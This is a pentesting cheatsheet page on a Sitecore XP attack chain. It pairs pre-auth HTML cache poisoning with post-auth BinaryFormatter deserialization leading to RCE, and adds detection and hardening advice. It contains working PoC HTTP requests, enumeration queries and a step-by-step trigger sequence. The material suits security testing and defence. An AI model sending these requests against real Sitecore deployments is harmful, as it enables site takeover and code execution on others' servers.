daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (11529B)


      1 ---
      2 title: "Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/sitecore/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/sitecore/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
     14 
     15 This page summarizes a practical attack chain tested against Sitecore XP 10.4.1. It pivots from a pre-auth XAML handler to HTML cache poisoning and, through an authenticated UI flow, to RCE through `BinaryFormatter` deserialization.<sup>[[1]](#references)</sup> The underlying primitives can guide testing of similar Sitecore components, but use Sitecore's advisories to determine exposure for a specific product and release; exact handlers, control IDs, permissions, and cache keys can differ between deployments.
     16 
     17 - Research target: Sitecore XP 10.4.1 rev. 011628
     18 - Vendor fixes: KB1003667 and KB1003734 (June/July 2025). The related CVE records cover different product/version ranges, so assess CVE-2025-53691, CVE-2025-53693, and CVE-2025-53694 separately.<sup>[[2]](#references)[[3]](#references)[[4]](#references)[[5]](#references)[[6]](#references)</sup>
     19 
     20 See also:
     21 
     22 [Readme](/hacktricks/pentesting-web/cache-deception/overview)
     23 
     24 [Readme](/hacktricks/pentesting-web/deserialization/overview)
     25 
     26 ## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
     27 
     28 The entry point is the pre-auth XAML handler registered in `web.config`:<sup>[[1]](#references)</sup>
     29 
     30 ```xml
     31 <add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
     32 ```
     33 
     34 Accessible via:
     35 
     36 ```text
     37 GET /-/xaml/Sitecore.Shell.Xaml.WebControl
     38 ```
     39 
     40 The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls:
     41 
     42 ```csharp
     43 // AjaxScriptManager.OnPreRender
     44 string clientId = page.Request.Form["__SOURCE"];      // target control
     45 string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
     46 ...
     47 Dispatch(clientId, text);
     48 
     49 // eventually → DispatchMethod(control, parameters)
     50 MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
     51 if (m != null) m.Invoke(this, e.Parameters);
     52 
     53 // Alternate branch for XML-based controls
     54 if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
     55 ```
     56 
     57 Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl.
     58 
     59 Magic method for poisoning:
     60 
     61 ```csharp
     62 // Sitecore.Web.UI.WebControl
     63 protected virtual void AddToCache(string cacheKey, string html) {
     64   HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
     65   if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
     66 }
     67 ```
     68 
     69 Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive.
     70 
     71 ### PoC request (CVE-2025-53693)
     72 
     73 ```text
     74 POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
     75 Host: target
     76 Content-Type: application/x-www-form-urlencoded
     77 
     78 __PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
     79 ```
     80 
     81 Notes:
     82 - __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
     83 - __PARAMETERS format is Method("arg1","arg2").
     84 
     85 ## What to poison: Cache key construction
     86 
     87 Typical HtmlCache key construction used by Sitecore controls:<sup>[[1]](#references)</sup>
     88 
     89 ```csharp
     90 public virtual string GetCacheKey(){
     91   SiteContext site = Sitecore.Context.Site;
     92   if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
     93     string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
     94     if (key.Length > 0){
     95       string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
     96       if (this.VaryByData)        k += ResolveDataKeyPart();
     97       if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
     98       if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
     99       if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
    100       if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
    101       if (this.VaryByQueryString && site?.Request != null)
    102                                    k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
    103       if (this.ClearOnIndexUpdate) k += "_#index";
    104       return k;
    105     }
    106   }
    107   return string.Empty;
    108 }
    109 ```
    110 
    111 Example targeted poisoning for a known sublayout:
    112 
    113 ```text
    114 __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
    115 ```
    116 
    117 ## Enumerating cacheable items and “vary by” dimensions
    118 
    119 If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.<sup>[[1]](#references)</sup>
    120 
    121 Quick probe:
    122 
    123 ```text
    124 GET /sitecore/api/ssc/item
    125 // 404 Sitecore error body → exposed (anonymous)
    126 // 403 → blocked/auth required
    127 ```
    128 
    129 List cacheable items and flags:
    130 
    131 ```text
    132 GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
    133 ```
    134 
    135 Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:
    136 
    137 ```text
    138 GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
    139 ```
    140 
    141 ### Side‑channel enumeration under restricted identities (CVE-2025-53694)
    142 
    143 Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:<sup>[[1]](#references)</sup>
    144 
    145 ```text
    146 GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
    147 → "TotalCount": 3
    148 GET /...term=%2B_templatename:Device;%2B_group:aa*
    149 → "TotalCount": 2
    150 GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
    151 → narrow to a specific item
    152 ```
    153 
    154 ## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
    155 
    156 Sink:
    157 
    158 ```csharp
    159 // Sitecore.Convert
    160 byte[] b = Convert.FromBase64String(data);
    161 return new BinaryFormatter().Deserialize(new MemoryStream(b));
    162 ```
    163 
    164 Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:<sup>[[1]](#references)</sup>
    165 
    166 ```csharp
    167 HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
    168 string text2   = inner?.GetAttributeValue("value", "");
    169 if (text2.Length > 0)
    170   htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
    171 ```
    172 
    173 Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks:
    174 
    175 ```text
    176 // 1) Start Content Editor
    177 GET /sitecore/shell/Applications/Content%20Editor.aspx
    178 
    179 // 2) Load malicious HTML into EditHtml session (XAML event)
    180 POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
    181 Content-Type: application/x-www-form-urlencoded
    182 
    183 __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
    184 <html>
    185   <iframe id="test" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/sitecore/poc" value="poc"></iframe>
    186   <test id="test_inner" value="BASE64_GADGET"></test>
    187 </html>
    188 
    189 // 3) Server returns a session handle (hdl) for FixHtml
    190 {"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
    191 
    192 // 4) Visit FixHtml to trigger ConvertWebControls → deserialization
    193 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
    194 ```
    195 
    196 Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.<sup>[[1]](#references)</sup>
    197 
    198 
    199 [Basic .Net Deserialization Objectdataprovider Gadgets Expandedwrapper And Json.Net](/hacktricks/pentesting-web/deserialization/basic-net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json-net)
    200 
    201 ## Complete chain
    202 
    203 1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.<sup>[[1]](#references)</sup>
    204 2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
    205 3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
    206 
    207 ## Detection
    208 
    209 - Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.<sup>[[1]](#references)</sup>
    210 - ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
    211 - Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
    212 
    213 ## Hardening
    214 
    215 - Apply the Sitecore fixes that match the deployed product and version. Where compatibility permits, gate or disable unnecessary pre-auth XAML handlers, validate dispatched methods and parameters strictly, and monitor and rate-limit `/-/xaml/` requests without disrupting legitimate editing workflows.<sup>[[1]](#references)[[2]](#references)[[3]](#references)</sup>
    216 - Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
    217 - Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels.
    218 - Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
    219 
    220 ## References
    221 
    222 - [1] [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
    223 - [2] [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
    224 - [3] [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
    225 - [4] [NVD - CVE-2025-53691](https://nvd.nist.gov/vuln/detail/CVE-2025-53691)
    226 - [5] [NVD - CVE-2025-53693](https://nvd.nist.gov/vuln/detail/CVE-2025-53693)
    227 - [6] [NVD - CVE-2025-53694](https://nvd.nist.gov/vuln/detail/CVE-2025-53694)